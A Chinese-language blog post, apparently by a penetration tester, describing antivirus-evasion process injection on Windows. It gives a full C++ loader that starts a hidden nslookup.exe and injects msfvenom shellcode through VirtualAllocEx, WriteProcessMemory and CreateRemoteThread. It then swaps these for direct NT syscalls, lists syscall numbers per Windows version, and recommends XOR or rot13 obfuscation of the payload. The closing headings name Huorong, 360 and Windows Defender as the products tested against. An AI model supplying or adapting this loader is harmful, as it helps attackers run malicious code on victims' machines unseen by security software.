分离免杀+直接系统调用注入进程免杀

开学！！！！

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感觉自己在鸽，哈哈哈。

内容如题。

这也是自己用了很久的技术了，之前也在公众号发过，写篇文章，聊一聊。

简介

主要的思路呢，就是将shellcode注入到进程中，进程可以是存在的进程，也可以是自己新建进程。

主要用到的api

LPVOID VirtualAllocEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
); 


BOOL WriteProcessMemory(
  HANDLE  hProcess,
  LPVOID  lpBaseAddress,
  LPCVOID lpBuffer,
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesWritten
);



HANDLE CreateRemoteThread(
  HANDLE                 hProcess,
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  SIZE_T                 dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID                 lpParameter,
  DWORD                  dwCreationFlags,
  LPDWORD                lpThreadId
);

简单的demo如下：

#include <iostream>
#include <Windows.h>
#include "common.h"

int main()
{
    // msfvenom -p windows/x64/exec CMD=notepad.exe -f c
    unsigned char shellcode[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
        "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
        "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
        "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
        "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
        "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
        "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
        "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
        "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
        "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
        "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
        "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
        "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
        "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
        "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
        "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
        "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74"
        "\x65\x70\x61\x64\x2e\x65\x78\x65\x00";

    // Create a 64-bit process: 
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    LPVOID allocation_start;
    SIZE_T allocation_size = sizeof(shellcode);
    LPCWSTR cmd;
    HANDLE hProcess, hThread;
    
    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));
    si.cb = sizeof(si);
    cmd = TEXT("C:\\Windows\\System32\\nslookup.exe");

    if (!CreateProcess(
        cmd,							// Executable
        NULL,							// Command line
        NULL,							// Process handle not inheritable
        NULL,							// Thread handle not inheritable
        FALSE,							// Set handle inheritance to FALSE
        CREATE_NO_WINDOW,	            // Do Not Open a Window
        NULL,							// Use parent's environment block
        NULL,							// Use parent's starting directory 
        &si,			                // Pointer to STARTUPINFO structure
        &pi								// Pointer to PROCESS_INFORMATION structure (removed extra parentheses)
    )) {
        DWORD errval = GetLastError();
        std::cout << "FAILED" << errval << std::endl;
    }
    WaitForSingleObject(pi.hProcess, 1000); // Allow nslookup 1 second to start/initialize. 

    // Inject into the 64-bit process:
    // HIGH-LEVEL WINDOWS API:
    allocation_start = VirtualAllocEx(pi.hProcess, NULL, allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, allocation_start, shellcode, allocation_size, NULL);
    CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)allocation_start, NULL, 0, 0);
}

然后分析API的调用情况：

其中又可以窥探API的两种类型：

我们便使用更低级的API进行操作。

实操

首先将你需要使用的API进行系统调用，核心代码如下：

 NtAllocateVirtualMemory(pi.hProcess, &allocation_start, 0, (PULONG)&allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, allocation_start, shellcode, sizeof(shellcode), 0);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, pi.hProcess, allocation_start, allocation_start, FALSE, NULL, NULL, NULL, NULL);

其中的NtAllocateVirtualMemory需要考虑不同操作系统的版本差异，参考如下：

NtAllocateVirtualMemory_SystemCall_6_1_7600:          ; Windows 7 SP0
	mov eax, 0015h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_6_1_7601:          ; Windows 7 SP1 and Server 2008 R2 SP0
	mov eax, 0015h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_6_2_XXXX:          ; Windows 8 and Server 2012
	mov eax, 0016h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_6_3_XXXX:          ; Windows 8.1 and Server 2012 R2
	mov eax, 0017h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_10240:        ; Windows 10.0.10240 (1507)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_10586:        ; Windows 10.0.10586 (1511)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_14393:        ; Windows 10.0.14393 (1607)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_15063:        ; Windows 10.0.15063 (1703)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_16299:        ; Windows 10.0.16299 (1709)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_17134:        ; Windows 10.0.17134 (1803)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_17763:        ; Windows 10.0.17763 (1809)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_18362:        ; Windows 10.0.18362 (1903)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_18363:        ; Windows 10.0.18363 (1909)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue

列表如下：

关于其中关系，参考下图：

然后对你的shellcode进行混淆，如xor或者rot13。

然后加载到内存后解密，即可。

测试

测试效果如下：

火绒：

360全家桶：

windows defender：